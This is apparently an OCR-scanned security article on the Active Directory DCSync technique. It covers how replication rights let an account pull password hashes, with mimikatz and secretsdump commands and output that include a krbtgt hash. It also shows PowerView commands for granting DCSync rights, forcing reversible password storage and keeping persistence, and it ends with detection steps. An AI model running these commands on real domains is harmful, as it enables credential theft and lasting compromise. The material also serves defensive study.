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INTRODUCTION

In many environments Domain Controller and Active Directory are used to manage the network, users
and computers.

The organizations often need the existence of more than one Domain Controller for its Active Directory.
For keeping an environment with more than one Domain Controller consistent, it is necessary to have the
Active Directory objects replicated through those DCs.

Domain Controller suffers from misconfigurations which will let DC vulnerable for attackers, one of the
famous vulnerability attackers abuse is exploit Microsoft feature [MS-DRSR]: Directory Replication Service
(DRS) Remote Protocol which is used to replicate users hashes from Domain Controller to another.

WHAT Is DCSYNC

DCSyncis a feature in the famous tool Mimikatz in Lsadump module which is used to pull all
password hashes from targeted Domain Controller.

DCSync is used by both Penetration testers and Attackers to pull passwords hashes from Domain
Controller to be cracked or used in lateral movement or creating Golden Tickets.

How DCSYNC WORK

DCSync is impersonating Domain Controller and requests account password data from the targeted
Domain Controller by sending DSGetNCChanges request.

In steps:

1- Discovers Domain Controller in the specified domain name.
2- Requests the Domain Controller to replicate the user credentials via GetNCChanges (leveraging
Directory Replication Service (DRS) Remote Protocol)

In details, A client Domain Controller sends an IDL_DRSGetNCChanges request to a server to replicate
directory objects in a given NC from the server NC replica to the client NC replica. The response contains
a set of updates that the client is to apply to its NC replica.
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https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-drsr/f977faaa-673e-4f66-b9bf-48c640241d47
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-drsr/f977faaa-673e-4f66-b9bf-48c640241d47
https://github.com/gentilkiwi/mimikatz/
https://blog.stealthbits.com/complete-domain-compromise-with-golden-tickets/
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-drsr/b63730ac-614c-431c-9501-28d6aca91894
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ATTACKER SIMULATE DC (MS-DSRS)

REQUEST REPLICATION FOR PASSWORD HASHES VIA GETNCCHANGE

v

ATTACKER

DC SENDS PASSWORD HASHES

DCSYNC RIGHTS

To do DCSync there are 3 rights needed to be delegated to the user at the domain level in order for the
user account to get all passwords data using DCSync:

1- Replicating Directory Changes (DS-Replication-Get-Changes)
2- Replicating Directory Changes All (DS-Replication-Get-Changes-All)
3- Replicating Directory Changes in Filtered Set (required in some environments)

Attribute Editor | Security

GI‘OLID ar user names:

2, Cloneable Domain Cortrollers (COMPANY\Cloneable Domain ... |~
" § Administrators (COMPANYX\Administrators)

% Pre-Windows 2000 Compatible Access (COMPANYX\Pre-Wind. ..
%Incoming Forest Trust Builders {COMPANYX \Incoming Forest Tr...
52 ENTERPRISE DOMAIN CONTROLLERS

£

]

Pemissions for Administrators

§

Reanimate tombstones

Replicating Directory Changes

Replicating Directory Changes All
Replicating Directory Changes In Filtered Set
Replication synchronization

KR &« & %

For special pemissions or advanced settings, click
Advanced.

E

Members of the Domain Admins and Enterprise Admins and Domain Controller computer accounts
have these rights by default.

Normal domain user accounts can do DCSync with 3 rights mentioned above.
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https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc772673(v=ws.10)
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc772673(v=ws.10)
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DCSYNC ATTACK DEMONSTRATION

Two tools will be used to demonstrate DCSync, Mimikatz and SecretsDump.py from Impacket.

Attacker exploit this feature after gaining Domain Admin privileges then pull all passwords hashes from

Domain Controller to be cracked or used in lateral movements.

Mimikatz: DCSync in Mimikatz is under Isadump module and can be done as follow:

Command: [# 1sadump: :dcsync /domain:<DOMAIN> /user:<Username> ] (for single user)

Command: [ # 1sadump: :dcsync /domain:<DOMAIN> /all ] (for all users hashes)
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EX¥ Windows PowerShell

PS C:\Users\attacker\Desktop\mimikatz_trunk\x64> net user 3
The request will be processed at a domain controller for domain companyx.com.

User name Attacker

Full Name Attacker

Comment

User's comment

Country/region code 000 (System Default)
Account active Yes

Account expires Never

Password last set 3/28/2020 7:10:51 AM
Password expires 5/9/2020 7:10:51 AM
Password changeable 3/29/2020 7:10:51 AM
Password required Yes
User may change password Yes

workstations allowed All

Logon script

User profile

Home directory

Last Togon 3/28/2020 7:28:41 AM

Logon hours allowed All

Lacal _Graun Memhershins
Global Group memberships *Domain Users

\-IIE LUIIIFNd.IId Conmp reLeu sucLessiully.

Ps C:\Users\attacker\Desktop\mimikatz_trunk\x64> _

EN mimikatz 2.2.0x64 (pe.ec)
ers\attacker\Desktop\mimikatz_trunk(1)\x64> whoami

companyx\attacker

PS Ci\Users\attacker\Desktop\mimikatz_trunk(1)\x64> .\mimikat

mimikatz 2.2.0 (x64) #18362 Mar 8 2020 18:3@:37
"A La Vie, A L'Amour” - (oe.eo)

Benjamin DELPY ~“gentilkiwi™ ( benjamin@gentilkiwi.com )

/blog.gentilkiwi.com/mimikatz

Vincent LE TOUX ( cent.letoux@gmail . com
> http://pingcastle.com / http://mysmartlogon.com

mimikatz # Lsadump::dcsync /domain:companyx.com fuser:krbtgt
[DC] *company will be the domain

[DC] *lab-dc@l.companyx.com' will be the DC server

[DC] "krbtgt® will be the user account

Object RDN : krbtgt
SAM ACCOI

SAM Username : krbtgt
Account Type : 30000000 ( USER_OBIECT )

User Account Control : 98800282 ( ACCOUNTDISABLE NORMAL_ACCOUNT )

Account expiration
Password last change : 1/6/2019 6:38:16 AM

Object Security ID : 894193496-9208573805-567452328-502

Object Relative ID

Credentials:
Hash NTLM: be7582dbc58ddBebcb737b468aff5d84
ntlm- @: be7502dbc58dd@ebcb737bA68af5d8
Im - B: 66cfd4364a3bbhdB898a135dbc29b53F6

Supplemental Credentials:

* Primary:Kerberos-Newer-Keys *
Default Salt : COMPANYX.COMkrbtgt
Default ITterations : 40896
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https://github.com/gentilkiwi/mimikatz/releases
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SecretsDump.py: using SecretsDump script to dump all password hashes is as follow:

Command: [ secretsdump.py -just-dc-ntlm <DOMAIN>/<USER>@<DOMAIN CONTROLLER> ]

: # secretsdump.py -just-dc-ntlm companyx/attacker@le.1e.10.10
Impacket v0.9.21- - Copyright 2019 SecureAuth Corporation

Pa ord:

[*] Dumplng Domain Credentials {dﬂmain\u'd-'

[*] ng the D API method t

compdn,_.Cnm\Admlnlstratu D0 : 4 6 2¢352200¢T887153¢ch::
3 d '931b?3C59J?

d cb?a?b4

companyx.

companyx.

companyx

companyx.com\nawaf:1631:aad

companyx.com\$MK1000-KFVESKIRE :

companyx.com\SM fbe30369d90f4basa:

HUNTING FOR USERS WITH DCSYNC PERMISSIONS

Using Powerview we can enumerate domain users and find who has Replicating Directory Changes
permission (DCSync rights).

Command: [ Get-ObjectACL -DistinguishedName "dc=companyx,dc=com" -ResolveGUIDs
| ? { ($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -
match 'GenericAll') } | select IdentityReference]

EX Windows PowerShell - m} <

C:\Users\attacker\Download -ObjectACL | » { ($5_.0bjectType
) iveDirectoryRights )} ct IdentityReference

NT AUTHORITY\SYSTEM

COMPANYX\Enterprise Admins

NT AUTHORITYA\ENTERPRISE DOMAIN CONTROLLERS

NT AUTHORITYA\ENTERPRISE DOMAIN CONTROLLERS
BUILTIN\Administrators

BUILTIN\Administrators

BUILTIN\Administrators

COMPANYX\Enterprise Read-only Domain Controllers

COMPANYX\Domain Controllers
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https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
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DePLOY DCSYNC USING DIFFERENT WAYS

After gaining Domain Admin privileges it is possible to grant any domain user DCSync rights using
different ways:

1- Powerview: PowerView is a PowerShell tool to gain network situational awareness on
Windows domains. It also implements various useful metafunctions, several functions for
the enumeration and abuse of domain trusts also exist.
using PowerView function (Add-ObjectAcl) we can easily add all three permissions to the
domain root for any user.

Command: [ Add-ObjectACL -TargetDistinguishedName "dc=companysx,dc=com"
-PrincipalSamAccountName Attacker -Rights DCSync ]

OR
Command: [ Add-ObjectACL -PrincipalSamAccountName Attacker -Rights
DCSync ]

ndows\system3: Attacker DCSync
PS C:\Windows\system3: ? { (5_.0bjectType tiveDirectoryRights select IdentityReference

TdentityReference

INT AUTHORITY\SYSTEM

ICOMPANYX\Enterp Admins

INT AUTHORITY\ENTERPRISE DOMAIM ITROLLERS
INT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS
BUILTIN\Administr s
BULLTIN\Administrator:
BUILTIN\Administrator:

ICOMPANYX \Ent Read-only Domain Controllers
ain Controlles

14193496

4193496-92

14193496

)

T

ICOMPANYX\Organization Management
OMPANYX\Exchange Trusted Si
OMPANYX\attacker
OMPANYX\attacker
ICOMPANYX\attacker

C:\Windows\system32> A Attacker
Error gi
ption calling

on Ch {(UPKEY_P

"@" argumer ): "The server is

Error
CKUPKEY

rror

to pro

W) Error g y

Ch\ stAndFound,DC=compa H C. Wit argument(s): "The server is unwilling
to pro the requ

PS5 C:\Windows\system32> C | 2 { -ObjectType
) i ) } | select IdentityReference

IdentityReference

NT AUTHORITY\SYSTEM

COMPANYX\Enterprise Admins

NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS

NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS
BUILTIN\Administrators

BUILTIN\Administrators

BUILTIN\Administrators

COMPANYX\Enterprise Read-only Domain Controllers
COMPANYX\Domain Controllers

5-1-5-21- 193 285738

Wi

COMPANYX\Organi a t
COMPANYX\Fxchanse Trusted Subsystem
COMPANYX\attacker

CUMPANYA\aTTacKer
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2- Using ADSI on Domain Controller: Log in to DC > Open ADSI > Right click on DC > Properties
> Security > Add user > grant chosen user the 3 DCSync rights.

ADSI Edit
Name Class Distinguished Name
| CN=Builtin builtinDomain ~ CN=Builtin DC=companyx, DC=com
.com] 1 CN=Computers container CMN=Computers,DC=companyx DC=com

| OU=Domain Controllers organization... OU=Domain Controllers,DC=companyx DC=com

| CN=ForeignSecurityPrincip... container CN=ForeignSecurityPrincipals, DC=companyx, DC=com

1 OU=Lab erganization... OU=Lab,DC=companyxDC=com

| CM=LostAndFound lostAndFound  CN=LostAndFound,DC=companyxDC=com

_ d : 2 x
Select Users, Computers, Service Accounts, or Groups .& DC=companyx,DC=com Properties \_l_l
Select this object type | [Atbute Edtor | Secory |1
|U53f5- Groups, or Builtin security principals ‘ | Object Types... ‘ M Group or user names:
From this location .gg,ﬁnneahle Domain Controllers {COMPANYX\Cloneable Domain A
|mmpa,,),X com ‘ (== | | 82, Administrators (COMPANYX\Administrators)
BgPre—Windcws 2000 Compatible Access {COMPANYX\Pre-Wind..

Enter the object names to select (xamples %Incoming Forest Trust Builders (COMPANYX\ncoming Forest Tr.
Attacker (Attacker@companyx com) Check Names | 2, ENTERPRISE DOMAIN CONTROLLERS

v
; 0K Cancel Pemissions for Administrators

Reanimate tombstones

Replicating Directory Changes

Replicating Directory Changes All
Replicating Directory Changes In Filtered Set
Replication synchronization

For special permissions or advanced settings. click
Advanced

>

RIK KK & gé
ooooo g’

<

DC=companyx,DC=com Properties |L-|

Aftribute Editor | Security

GI’DIJD ar user names:

-

& Attacker (Attacker@companyx.com) 1 ~
H,Organization Management (COMPANYX\Organization Manage...

3!, Delegated Setup [COMPANYX \Delegated Setup)

_Q!‘ Exchange Servers [COMPANYX\Exchange Servers)

3!, Exchange Trusted Subsystem ([COMPANYX \Exchange Trusted
2, Exchanae Windows Permissions (COMPANYX\Exchanas Wind... | ™

| Add... | | Remaowve |
Pemissions for Attacker Allow Dery
Reanimate tombstones ] |~
Replicating Directory Changes |
Replicating Directory Changes Al 2 [l
Replicating Directory Changes In Fitered Set v ™
Replication synchronization Ol ] I

For special pemissions or advanced settings. click
Advanced.

oK || Cancel || mpy || Hel
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How To DETECT DCSYNC AND MITIGATION

It's very important to be aware about what is going in the network and domain, 2 ways will be
explained to detect DCSync:

1- Powershell Script: we need to audit who has the DS-Replication-Get-Changes-All rights on the
root of the domain. A full list of Extended Rights which lists the object GUIDs (which is what you
are checking for in the script below):

Script:

import-module activedirectory;

# Define AD locations

Sroot = [ADSI]"LDAP://RootDSE"
Sdomainpath = "AD:" + ($root.defaultnamingcontext) .tostring();
Sdomaincontrollerpath = "AD:0OU=Domain Controllers," +

($Sroot.defaultnamingcontext) .tostring() ;
[System.Collections.ArrayList] $pathstocheck = @Q();
[void] $Spathstocheck.add ($domainpath) ;

[void] Spathstocheck.add ($domaincontrollerpath) ;

# The extended rights to look for
$extendedrightscheck = "1131f6ad-9c07-11d1-£79£-00c04fc2dcd2";

# Define array to save identities to
[System.Collections.ArrayList] $userswithextendedrights = @ ();

foreach ($pathtocheck in $pathstocheck) {

# Get ACEs
Saces = (get-acl -path $pathtocheck) .access | where {(($_.objecttype
-eq S$extendedrightscheck) -and ($_.accesscontroltype -eq "allow"))};

foreach (Sace in $aces) {

[void] Suserswithextendedrights.add (($ace.identityreference) .tostring());
}
}

# Remove duplication
Suserswithextendedrights = $userswithextendedrights | select -unique

ey Administrator: Windows PowerShell
PS C:\Users\Administrator\Desktop>l . .\Monitor_DCSync_Permissions.psl

Users with DCSync Permissions:

BUILTIN\Administrators
COMPANYX\Domain Controllers
COMPANYX\Attacker

PS C:\Users\Administrator\Desktop>
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2- Wireshark: Finding if DCSync is being used in the network is to monitor the network traffic and
find if protocol DRSUAPI is used or not.
A- Identify all Domain Controller IP addresses and add them to (Replication Allow List).
B- Configure IDS to trigger if DsGetNCChange request originated by an IP not on the
(Replication Allow List).

*etho e e
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

Al 7@ 0 RE Q « » 0«

n |Applya display filter .. <Ctrl-/> = ~| Expression.. +

Destination Protocol

16.16.16.132 1514 49
16.16.10.16 66 53676 S5eq=1313 Ack:

66 53676 — 45155 [ACK] Seq=1313
99 282 Encrypted SMB3
100 202 Encrypted SMB3
1e1 G16940 5.18.108. PP L L 66 35796 — 445 [ACK] Seq=3776 Ack
102 8.684529952 18.10.168.132 10.10.10.10 sMB2 235 Encrypted SMB3
103 8.685831019 10.10.10.10 168.10.10.132 SMB2 266 Encrypted SMB3
164 8.685195649 10.16.10.132 16.10.10.18 66 35796 — 445 [ACK] Seg=3945 Ac

187 8.690226972 18.10.18.132 16.18.16.18 TCl 66 53676 — 49155 [ACK] Seq=1525 Ack

Frame 85: 198 bytes on wire (1584 bits), 188 bytes captured (1584 bits) on interface 8

Ethernet II, Src: Vmware_71:6e:f0 (00:0c:29:71:6e:70), Dst: Vmware_43:5a:ch (00:0c:29:43:5a:ch)
Internet Protocol Version 4, Src: 10.10.16.132, Dst: 10.10.18.18

Transmission Control Protocol, Src Port: 53676, Dst Port: 49155, Seq: 513, Ack: 298, Len: 132
pistributed Computing Environment / Remote Procedure Call (DCE/RPC) Request, Fragment: Single, FraglLe
DRSUAPI, DsBind

9066 BB Bc 29 43 5a cb @88 Bc 29 71 6e @ 068 0@ 45 60
Q010 B8 bB 42 d3 40 09 40 6 ce cb Ba Ga @a B4 Pa fa
B B8a Ga d1 ac c@ 83 ba cf 71 a8 fe af dz al 80 18
@620 81 f5 fc c4 00 00 81 @1 88 Ba 26 ac @d cd 00 @9
0848 56 04 B85 08 06 63 10 60 60 o0 [FPEE 10 ee 62 68 V- - - [

D ¥  wireshark_ethQ_20..656_dxe4bA.pcapng Packets: 1053 - Displayed: 1053 (100.0%) - Dropped: 0 (0.0%) _ Profile: Default
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CAPTURE PASSWORD IN CLEARTEXT
DCsync retrieves all passwords hashes, what if you want cleartext password? Yes its possible,

using PowerView to change how AD store password to unencrypted format for specific user ( Store

Password using reversible encryption )

Powerview:

Command: [ Invoke-DowngradeAccount -samaccountname Victim ]

or you can do it from Domain Controller as explained in pictures.

EX Adrinistrator: Windows PowerShell

ell

From Domain Controller:

Name M Type
L Victim User
Victim Properties _
Member Of | Dialin | Environment I Sessions
Remote control Remote Desltop Services Profile I COM+
General Address Account | Profile | Telephones | Organization
User logon name:
= | |@comparryx.com v|
User logon name (pre-Windows 2000):
[comPANTC. | [victim |
| Logon Hours... | | Log On To... |
[ Unlock account
Arzcount options:
[[] User must change passward at next logon -
[ User cannot change passward
[[] Password never expires
| Store password using reversible encryption 2 w
Account expires
(®) Naver
() End of: Monday . Aprl 27 2020 [E |
| ok || Camcel || enh Help

Then all you have to do is wait for that user to log in again and the password will be saved unencrypted,
then do DCSync to get the cleartext password!
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After the user log in again, the password will be saved unencrypted and you can do DCSync to get the

cleartext password!

2 mimikatz 2.2.0 x64 (oe.ec)

USING DCSYNC AS PERSISTENCE TECHNIQUE

After gaining Domain Admin Privileges, choose random normal domain user and grant this user

DCSync rights using Powerview or from ADSI on Domain Controller.

Anytime you want to pull passwords hashes just do DCSync using mimikatz or secretsdump by that user.
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